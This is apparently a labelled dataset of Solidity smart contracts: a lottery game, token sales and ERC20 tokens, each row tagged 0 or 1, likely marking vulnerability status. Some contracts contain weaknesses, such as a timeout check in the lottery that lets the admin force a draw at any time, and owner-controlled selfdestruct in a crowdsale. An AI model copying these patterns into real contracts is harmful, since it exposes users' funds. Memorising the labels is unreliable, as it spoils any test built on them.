address[] private agentIdAddress;
uint256[] private agentIdBetsSum;
uint256[] private agentIdBankBalanceWEI;
uint256[] private betsNumAgentId;
function getAgentId(address _agentAddress) public constant returns(uint256)
{
uint256 value;
uint256 id = agentAddressId[_agentAddress];
if (id != 0 && id <= agentIdAddress.length)
{
if (agentIdAddress[id - 1] == _agentAddress)
{
value = agentAddressId[_agentAddress];
}
}
return value;
}
function getAgentAdress(uint256 _agentId) public constant returns(address)
{
address value;
if (_agentId > 0 && _agentId <= agentIdAddress.length)
{
value = agentIdAddress[_agentId - 1];
}
return value;
}
function getAgentBetsSum(uint256 _agentId) public constant returns(uint256)
{
uint256 value;
if (_agentId > 0 && _agentId <= agentIdBetsSum.length)
{
value = agentIdBetsSum[_agentId - 1];
}
return value;
}
function getAgentBankBalanceWEI(uint256 _agentId) public constant returns(uint256)
{
uint256 value;
if (_agentId > 0 && _agentId <= agentIdBankBalanceWEI.length)
{
value = agentIdBankBalanceWEI[_agentId - 1];
}
return value;
}
function getPositionBetAgent(uint256 _positionBet) public constant returns(uint256)
{
uint256 value;
if (_positionBet > 0 && _positionBet <= betsNumAgentId.length)
{
value = betsNumAgentId[_positionBet - 1];
}
return value;
}
function getAgentsNum() public constant returns(uint256)
{
return agentIdAddress.length;
}
function Core()
{
roundNum = 1;
}
event ChangeGameSettings(address indexed _called, uint256 _betSizeFINNEY, uint256 _totalBets, uint256 _limitAgentBets, uint256 _commissionPCT, bool _commissionType, uint256 _timeoutSEC);
function changeGameSettings(uint256 _betSizeFINNEY, uint256 _totalBets, uint256 _limitAgentBets, uint256 _commissionPCT, bool _commissionType, uint256 _timeoutSEC) public onlyADM()
{
require(betsNum == 0);
require(_limitAgentBets < _totalBets);
require(_commissionPCT < 100);
betSizeFINNEY = _betSizeFINNEY;
totalBets = _totalBets;
limitAgentBets = _limitAgentBets;
commissionPCT = _commissionPCT;
commissionType = _commissionType;
timeoutSEC = _timeoutSEC;
ChangeGameSettings(msg.sender, _betSizeFINNEY, _totalBets, _limitAgentBets, _commissionPCT, _commissionType, _timeoutSEC);
}
event Bet(address indexed _agent, uint256 _agentId, uint256 _round, uint256 _bets, uint256 _WEI);
event Winner(address indexed _agent, uint256 _agentId, uint256 _round, uint256 _betsSum, uint256 _depositWEI, uint256 _winWEI, uint256 _luckyNumber);
function bet() payable public onlyRun()
{
require(msg.value > 0);
uint256 agentID;
agentID = getAgentId(msg.sender);
if (agentID == 0)
{
agentIdAddress.push(msg.sender);
agentID = agentIdAddress.length;
agentAddressId[msg.sender] = agentID;
agentIdBetsSum.push(0);
agentIdBankBalanceWEI.push(0);
}
bankBalanceWEI = bankBalanceWEI + msg.value;
agentIdBankBalanceWEI[agentID - 1] = getAgentBankBalanceWEI(agentID) + msg.value;
uint256 agentTotalBets = (getAgentBankBalanceWEI(agentID)/1000000000000000)/betSizeFINNEY;
uint256 agentAmountBets = agentTotalBets - getAgentBetsSum(agentID);
if (agentAmountBets > 0)
{
if ((agentAmountBets + getAgentBetsSum(agentID) + betsNum) > totalBets)
{
agentAmountBets =
totalBets - betsNum;
}
if ((agentAmountBets + getAgentBetsSum(agentID)) > limitAgentBets)
{
agentAmountBets =
limitAgentBets - getAgentBetsSum(agentID);
}
agentIdBetsSum[agentID - 1] = getAgentBetsSum(agentID) + agentAmountBets;
while (betsNumAgentId.length < betsNum + agentAmountBets)
{
betsNumAgentId.push(agentID);
}
betsNum = betsNum + agentAmountBets;
Bet(msg.sender, agentID, roundNum, agentAmountBets, msg.value);
}
lastBetTimeSEC = block.timestamp;
if (betsNum == totalBets)
{
_play();
}
}
function playForcibly() public onlyRun() onlyADM()
{
require(block.timestamp + timeoutSEC > lastBetTimeSEC);
_play();
}
function _play() private
{
uint256 luckyNumber = random(1, betsNum);
uint256 winnerID = betsNumAgentId[luckyNumber - 1];
address winnerAddress = getAgentAdress(winnerID);
uint256 jackpotBankWEI = betsNum * betSizeFINNEY * 1000000000000000;
uint256 overWEI = bankBalanceWEI - jackpotBankWEI;
uint256 commissionWEI;
if (commissionType)
{
commissionWEI = (jackpotBankWEI/100) * commissionPCT;
}
else
{
commissionWEI = (betsNum - getAgentBetsSum(winnerID)) * (betSizeFINNEY * 1000000000000000) / 100 * commissionPCT;
}
winnerAddress.transfer(jackpotBankWEI - commissionWEI);
commissionBalanceWEI = commissionBalanceWEI + commissionWEI;
overBalanceWEI = overBalanceWEI + overWEI;
Winner(winnerAddress, winnerID, roundNum, getAgentBetsSum(winnerID), getAgentBankBalanceWEI(winnerID), jackpotBankWEI - commissionWEI, luckyNumber);
bankBalanceWEI = 0;
betsNum = 0;
roundNum++;
delete agentIdAddress;
delete agentIdBetsSum;
delete agentIdBankBalanceWEI;
delete betsNumAgentId;
}
} | 0 | 1,459 |
pragma solidity ^0.4.20;
contract ERC20Interface {
function totalSupply() public constant returns (uint256);
function balanceOf(address owner) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function allowance(address owner, address spender) public constant returns (uint256);
}
interface ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token) external;
}
contract TRLCoinSale is ApproveAndCallFallBack {
struct Period {
uint start;
uint end;
uint priceInWei;
uint tokens;
}
struct PaymentContribution {
uint weiContributed;
uint timeContribution;
uint receiveTokens;
}
struct TotalContribution {
uint totalReceiveTokens;
PaymentContribution[] paymentHistory;
}
uint public constant TRLCOIN_DECIMALS = 0;
uint public constant TOTAL_TOKENS_TO_DISTRIBUTE = 800000000 * (10 ** TRLCOIN_DECIMALS);
uint public constant TOTAL_TOKENS_AVAILABLE = 1000000000 * (10 ** TRLCOIN_DECIMALS);
ERC20Interface private tokenWallet;
address private owner;
uint private smallBonus;
uint private largeBonus;
uint private largeBonusStopTime;
uint private tokensRemainingForSale;
uint private tokensAwardedForSale;
uint private distributionTime;
Period private preSale;
Period private sale;
mapping(address => TotalContribution) public payments;
address[] public paymentAddresses;
bool private hasStarted;
event Transfer(address indexed to, uint amount);
event Start(uint timestamp);
event Contribute(address indexed from, uint weiContributed, uint tokensReceived);
event Distribute( address indexed to, uint tokensSend );
function addContribution(address from, uint weiContributed, uint tokensReceived) private returns(bool) {
require(weiContributed > 0);
require(tokensReceived > 0);
require(tokensRemainingForSale >= tokensReceived);
PaymentContribution memory newContribution;
newContribution.timeContribution = block.timestamp;
newContribution.weiContributed = weiContributed;
newContribution.receiveTokens = tokensReceived;
if (payments[from].totalReceiveTokens == 0) {
payments[from].totalReceiveTokens = tokensReceived;
payments[from].paymentHistory.push(newContribution);
paymentAddresses.push(from);
} else {
payments[from].totalReceiveTokens += tokensReceived;
payments[from].paymentHistory.push(newContribution);
}
tokensRemainingForSale -= tokensReceived;
tokensAwardedForSale += tokensReceived;
return true;
}
function getOwner() public view returns (address) { return owner; }
function getHasStartedState() public view returns(bool) { return hasStarted; }
function getPresale() public view returns(uint, uint, uint, uint) {
return (preSale.start, preSale.end, preSale.priceInWei, preSale.tokens);
}
function getSale() public view returns(uint, uint, uint, uint) {
return (sale.start, sale.end, sale.priceInWei, sale.tokens);
}
function getDistributionTime() public view returns(uint) { return distributionTime; }
function getSmallBonus() public view returns(uint) { return smallBonus; }
function getLargeBonus() public view returns(uint) { return largeBonus; }
function getLargeBonusStopTime() public view returns(uint) { return largeBonusStopTime; }
function getTokenRemaining() public view returns(uint) { return tokensRemainingForSale; }
function getTokenAwarded() public view returns(uint) { return tokensAwardedForSale; }
function receiveApproval(address from, uint256 tokens, address token) external {
require(hasStarted == false);
require(token == address(tokenWallet));
tokensRemainingForSale += tokens;
bool result = tokenWallet.transferFrom(from, this, tokens);
require(result == true);
Transfer(address(this), tokens);
}
function TRLCoinSale(address walletAddress) public {
owner = msg.sender;
tokenWallet = ERC20Interface(walletAddress);
require(tokenWallet.totalSupply() == TOTAL_TOKENS_AVAILABLE);
require(tokenWallet.balanceOf(owner) >= TOTAL_TOKENS_TO_DISTRIBUTE);
uint coinToTokenFactor = 10 ** TRLCOIN_DECIMALS;
preSale.start = 1520812800;
preSale.end = 1523491199;
preSale.priceInWei = (1 ether) / (20000 * coinToTokenFactor);
preSale.tokens = TOTAL_TOKENS_TO_DISTRIBUTE / 2;
smallBonus = 10;
largeBonus = 20;
largeBonusStopTime = 1521504000;
sale.start = 1523491200;
sale.end = 1531378799;
sale.priceInWei = (1 ether) / (10000 * coinToTokenFactor);
sale.tokens = TOTAL_TOKENS_TO_DISTRIBUTE / 2;
distributionTime = 1531378800;
tokensRemainingForSale = 0;
tokensAwardedForSale = 0;
}
function setPresaleDates(uint startDate, uint stopDate) public {
require(msg.sender == owner);
require(hasStarted == false);
require(startDate < stopDate && stopDate < sale.start);
preSale.start = startDate;
preSale.end = stopDate;
}
function setlargeBonusStopTime(uint bonusStopTime) public {
require(msg.sender == owner);
require(hasStarted == false);
require(preSale.start <= bonusStopTime && bonusStopTime <= preSale.end);
largeBonusStopTime = bonusStopTime;
}
function setSale(uint startDate, uint stopDate) public {
require(msg.sender == owner);
require(hasStarted == false);
require(startDate < stopDate && startDate > preSale.end);
require(sale.end < distributionTime);
sale.start = startDate;
sale.end = stopDate;
}
function setDistributionTime(uint timeOfDistribution) public {
require(msg.sender == owner);
require(hasStarted == false);
require(sale.end < timeOfDistribution);
distributionTime = timeOfDistribution;
}
function addContributorManually( address who, uint contributionWei, uint tokens) public returns(bool) {
require(msg.sender == owner);
require(hasStarted == false);
require(block.timestamp < preSale.start);
require((tokensRemainingForSale + tokensAwardedForSale) == TOTAL_TOKENS_TO_DISTRIBUTE);
preSale.tokens -= tokens;
addContribution(who, contributionWei, tokens);
Contribute(who, contributionWei, tokens);
return true;
}
function startSale() public {
require(msg.sender == owner);
require(hasStarted == false);
require(preSale.end > preSale.start);
require(sale.end > sale.start);
require(sale.start > preSale.end);
require(distributionTime > sale.end);
require(tokenWallet.balanceOf(address(this)) == TOTAL_TOKENS_TO_DISTRIBUTE);
require((tokensRemainingForSale + tokensAwardedForSale) == TOTAL_TOKENS_TO_DISTRIBUTE);
require((preSale.tokens + sale.tokens) == tokensRemainingForSale);
hasStarted = true;
Start(block.timestamp);
}
function changeOwner(address newOwner) public {
require(msg.sender == owner);
owner = newOwner;
}
function preSaleFinishedProcess( uint timeOfRequest) private returns(bool) {
require(timeOfRequest >= sale.start && timeOfRequest <= sale.end);
if (preSale.tokens != 0) {
uint savePreSaleTomens = preSale.tokens;
preSale.tokens = 0;
sale.tokens += savePreSaleTomens;
}
return true;
}
function getTokensForContribution(uint weiContribution) private returns(uint timeOfRequest, uint tokenAmount, uint weiRemainder, uint bonus) {
timeOfRequest = block.timestamp;
bonus = 0;
if (timeOfRequest <= preSale.end) {
tokenAmount = weiContribution / preSale.priceInWei;
weiRemainder = weiContribution % preSale.priceInWei;
if (timeOfRequest < largeBonusStopTime) {
bonus = ( tokenAmount * largeBonus ) / 100;
} else {
bonus = ( tokenAmount * smallBonus ) / 100;
}
} else {
preSaleFinishedProcess(timeOfRequest);
tokenAmount = weiContribution / sale.priceInWei;
weiRemainder = weiContribution % sale.priceInWei;
}
return(timeOfRequest, tokenAmount, weiRemainder, bonus);
}
function()public payable {
require(hasStarted == true);
require((block.timestamp >= preSale.start && block.timestamp <= preSale.end)
|| (block.timestamp >= sale.start && block.timestamp <= sale.end)
);
require(msg.value >= 100 finney);
uint timeOfRequest;
uint tokenAmount;
uint weiRemainder;
uint bonus;
(timeOfRequest, tokenAmount, weiRemainder, bonus) = getTokensForContribution(msg.value);
require(tokensRemainingForSale >= tokenAmount + bonus);
require(tokenAmount > 0);
require(weiRemainder <= msg.value);
if (timeOfRequest <= preSale.end) {
require(tokenAmount <= preSale.tokens);
require(bonus <= sale.tokens);
preSale.tokens -= tokenAmount;
sale.tokens -= bonus;
} else {
require(tokenAmount <= sale.tokens);
require(bonus == 0);
sale.tokens -= tokenAmount;
}
addContribution(msg.sender, msg.value - weiRemainder, tokenAmount + bonus);
owner.transfer(msg.value - weiRemainder);
msg.sender.transfer(weiRemainder);
Contribute(msg.sender, msg.value - weiRemainder, tokenAmount + bonus);
}
function withdrawTokensRemaining() public returns (bool) {
require(msg.sender == owner);
require(block.timestamp > sale.end);
uint tokenToSend = tokensRemainingForSale;
tokensRemainingForSale = 0;
sale.tokens = 0;
bool result = tokenWallet.transfer(owner, tokenToSend);
require(result == true);
Distribute(owner, tokenToSend);
return true;
}
function withdrawEtherRemaining() public returns (bool) {
require(msg.sender == owner);
require(block.timestamp > sale.end);
owner.transfer(this.balance);
return true;
}
function transferTokensToContributor(uint idx) private returns (bool) {
if (payments[paymentAddresses[idx]].totalReceiveTokens > 0) {
uint tokenToSend = payments[paymentAddresses[idx]].totalReceiveTokens;
payments[paymentAddresses[idx]].totalReceiveTokens = 0;
require(tokensAwardedForSale >= tokenToSend);
tokensAwardedForSale -= tokenToSend;
bool result = tokenWallet.transfer(paymentAddresses[idx], tokenToSend);
require(result == true);
Distribute(paymentAddresses[idx], tokenToSend);
}
return true;
}
function getNumberOfContributors( ) public view returns (uint) {
return paymentAddresses.length;
}
function distributeTokensToContributorByIndex( uint indexVal) public returns (bool) {
require(msg.sender == owner);
require(block.timestamp >= distributionTime);
require(indexVal < paymentAddresses.length);
transferTokensToContributor(indexVal);
return true;
}
function distributeTokensToContributor( uint startIndex, uint numberOfContributors )public returns (bool) {
require(msg.sender == owner);
require(block.timestamp >= distributionTime);
require(startIndex < paymentAddresses.length);
uint len = paymentAddresses.length < startIndex + numberOfContributors? paymentAddresses.length : startIndex + numberOfContributors;
for (uint i = startIndex; i < len; i++) {
transferTokensToContributor(i);
}
return true;
}
function distributeAllTokensToContributor( )public returns (bool) {
require(msg.sender == owner);
require(block.timestamp >= distributionTime);
for (uint i = 0; i < paymentAddresses.length; i++) {
transferTokensToContributor(i);
}
return true;
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public returns (bool) {
require(msg.sender == owner);
require(tokenAddress != address(tokenWallet));
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 0 | 1,756 |
pragma solidity >=0.4.25 <0.6.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract SILVERUSAToken is ERC20, ERC20Detailed {
uint8 public constant DECIMALS = 7;
uint256 public constant INITIAL_SUPPLY = 210000000 * (10 ** uint256(DECIMALS));
constructor () public ERC20Detailed("SILVERUSA", "SILV", DECIMALS) {
_mint(msg.sender, INITIAL_SUPPLY);
}
} | 1 | 4,131 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract VCBToken is CappedToken, BurnableToken, DetailedERC20 {
using SafeMath for uint256;
uint8 constant DECIMALS = 18;
uint constant TOTALTOKEN = 1 * 10 ** (9 + uint(DECIMALS));
string constant NAME = "ValueCyberToken";
string constant SYM = "VCT";
address constant PRESALE = 0x638a3C7dF9D1B3A56E19B92bE07eCC84b6475BD6;
uint constant PRESALETOKEN = 7 * 10 ** (8 + uint(DECIMALS));
function VCBToken() CappedToken(TOTALTOKEN) DetailedERC20 (NAME, SYM, DECIMALS) public {
balances[PRESALE] = PRESALETOKEN;
totalSupply = totalSupply.add(PRESALETOKEN);
}
}
contract VCBCrowdSale is Crowdsale, Ownable {
using SafeMath for uint256;
uint constant RATIO = 9000;
uint16 constant RATIODENO = 10000;
uint constant SALELASTFOR = 31 days;
address constant FUNDWALLET = 0x622969e0928fa6bEeda9f26F8a60D0b22Db7E6f1;
mapping(address => uint16) giftList;
event CrowdsaleFinalized();
event TokenGift(address indexed beneficiary, uint256 amount);
function VCBCrowdSale(uint256 start) Crowdsale(start, start + SALELASTFOR, RATIO, FUNDWALLET) public {
}
function createTokenContract() internal returns (MintableToken) {
return new VCBToken();
}
function finalize(address _finaladdr) onlyOwner public {
token.finishMinting();
CrowdsaleFinalized();
address finaladdr = FUNDWALLET;
if (_finaladdr != address(0)) {
finaladdr = _finaladdr;
}
selfdestruct(finaladdr);
}
function giftTokens(address beneficiary) internal {
uint256 weiAmount = msg.value;
uint256 gifttokens = weiAmount.mul(giftList[beneficiary]).mul(rate).div(RATIODENO);
if (gifttokens > 0) {
token.mint(beneficiary, gifttokens);
TokenGift(beneficiary, gifttokens);
}
}
function buyTokens(address beneficiary) public payable {
super.buyTokens(beneficiary);
giftTokens(beneficiary);
}
function addGift(address beneficiary, uint16 giftratio) onlyOwner public {
require(giftratio < RATIODENO);
giftList[beneficiary] = giftratio;
}
function giftRatioOf(address _owner) public view returns (uint16 ratio) {
return giftList[_owner];
}
function preserveTokens(address preservecontract, uint256 amount) onlyOwner public {
token.mint(preservecontract, amount);
}
}
contract VCBCrowdSaleNew is Crowdsale, Ownable {
using SafeMath for uint256;
uint constant RATIO = 9000;
uint constant SALELASTFOR = 31 days;
address constant FUNDWALLET = 0x622969e0928fa6bEeda9f26F8a60D0b22Db7E6f1;
address constant PRESALE = 0x638a3C7dF9D1B3A56E19B92bE07eCC84b6475BD6;
address constant OLDCROWDSALE = 0x84098D815D54668BdA5FC9C0f0FC8783bA749947;
mapping(address => uint16) sellList;
event CrowdsaleFinalized();
function VCBCrowdSaleNew(uint256 start) Crowdsale(start, start + SALELASTFOR, RATIO, FUNDWALLET) public {
}
function createTokenContract() internal returns (MintableToken) {
VCBCrowdSale oldsale = VCBCrowdSale(OLDCROWDSALE);
weiRaised = oldsale.weiRaised();
return oldsale.token();
}
function finalize(address _finaladdr) onlyOwner public {
CrowdsaleFinalized();
address finaladdr = PRESALE;
if (_finaladdr != address(0)) {
finaladdr = _finaladdr;
}
uint256 restbalance = token.balanceOf(this);
token.transfer(finaladdr, restbalance);
selfdestruct(finaladdr);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint16 usedrate = sellList[beneficiary];
require(usedrate > 0);
uint256 weiAmount = msg.value;
uint256 curbalance = token.balanceOf(this);
uint256 tokens = weiAmount.mul(usedrate);
require(curbalance >= tokens);
weiRaised = weiRaised.add(weiAmount);
token.transfer(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function addPurchaser(address u) onlyOwner public {
sellList[u] = uint16(rate);
}
function addSpecial(address u, uint16 ratio) onlyOwner public {
require(ratio > uint16(rate));
sellList[u] = ratio;
}
function getRatioOf(address _owner) public view returns (uint16 ratio) {
return sellList[_owner];
}
} | 1 | 2,647 |
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